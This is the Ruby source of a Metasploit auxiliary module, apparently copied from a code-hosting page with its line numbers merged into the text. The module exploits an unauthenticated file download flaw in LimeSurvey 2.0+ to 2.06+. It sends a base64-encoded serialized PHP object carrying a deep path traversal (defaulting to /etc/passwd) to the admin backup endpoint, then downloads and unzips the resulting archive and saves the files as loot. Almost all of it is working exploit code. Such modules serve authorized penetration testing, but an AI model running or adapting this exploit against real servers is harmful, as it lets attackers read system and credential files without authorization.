Path: blob/master/modules/auxiliary/admin/http/limesurvey_file_download.rb
33893 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45# for extracting files6require 'zip'78class MetasploitModule < Msf::Auxiliary9include Msf::Auxiliary::Report10include Msf::Exploit::Remote::HttpClient1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Limesurvey Unauthenticated File Download',17'Description' => %q{18This module exploits an unauthenticated file download vulnerability19in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded20as a ZIP and unzipped automatically, thus binary files can be downloaded.21},22'Author' => [23'Pichaya Morimoto', # Vulnerability Discovery24'Christian Mehlmauer' # Metasploit module25],26'License' => MSF_LICENSE,27'References' => [28['CVE', '2025-34120'],29['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-lime-survey/'],30['URL', 'https://www.limesurvey.org/blog/22-security/136-limesurvey-security-advisory-10-2015'],31['URL', 'https://github.com/LimeSurvey/LimeSurvey/compare/2.06_plus_151014...2.06_plus_151016?w=1']32],33'DisclosureDate' => '2015-10-12',34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [IOC_IN_LOGS],37'Reliability' => []38}39)40)4142register_options(43[44Opt::RPORT(80),45OptString.new('TARGETURI', [true, 'The base path to the limesurvey installation', '/']),46OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),47OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15])48]49)50end5152def filepath53datastore['FILEPATH']54end5556def traversal_depth57datastore['TRAVERSAL_DEPTH']58end5960def payload61traversal = '/..' * traversal_depth62file = "#{traversal}#{filepath}"63serialized = 'a:1:{i:0;O:16:"CMultiFileUpload":1:{s:4:"file";s:' + file.length.to_s + ':"' + file + '";}}'64Rex::Text.encode_base64(serialized)65end6667def unzip_file(zipfile)68zip_data = Hash.new69begin70Zip::File.open_buffer(zipfile) do |filezip|71filezip.each do |entry|72zip_data[::File.expand_path(entry.name)] = filezip.read(entry)73end74end75rescue Zip::Error => e76print_error("Error extracting ZIP: #{e}")77end78return zip_data79end8081def run82csrf_token = Rex::Text.rand_text_alpha(10)8384vars_post = {85'YII_CSRF_TOKEN' => csrf_token,86'destinationBuild' => Rex::Text.rand_text_alpha(5),87'datasupdateinfo' => payload88}8990res = send_request_cgi({91'method' => 'POST',92'uri' => normalize_uri(target_uri, 'index.php', 'admin', 'update', 'sa', 'backup'),93'cookie' => "YII_CSRF_TOKEN=#{csrf_token}",94'vars_post' => vars_post95})9697if res && res.code == 200 && res.body && res.body.include?('Download this file')98match = res.body.match(%r{<div class="updater-background">\s+<p class="success " style="text-align: left;">\s+<strong>[^<]+</strong>\s+<br/>\s+([^<]+)<br/>\s+<a class="btn btn-success" href="([^"]+)" title="Download this file">Download this file</a>})99if match100local_path = match[1]101download_url = match[2]102print_status("File saved to #{local_path}")103print_status("Downloading backup from URL #{download_url}")104105res = send_request_cgi({106'method' => 'GET',107'uri' => download_url108})109110if res && res.code == 200111unzipped = unzip_file(res.body)112113unzipped.each do |filename, content|114print_good("Filename: #{filename}")115print_good(content)116117path = store_loot(118'limesurvey.http',119'application/octet-stream',120rhost,121content,122filename123)124print_good("File saved in: #{path}")125end126else127print_error('Failed to download file')128end129else130print_error('Failed to download file')131end132else133print_error('Failed to download file')134end135end136end137138139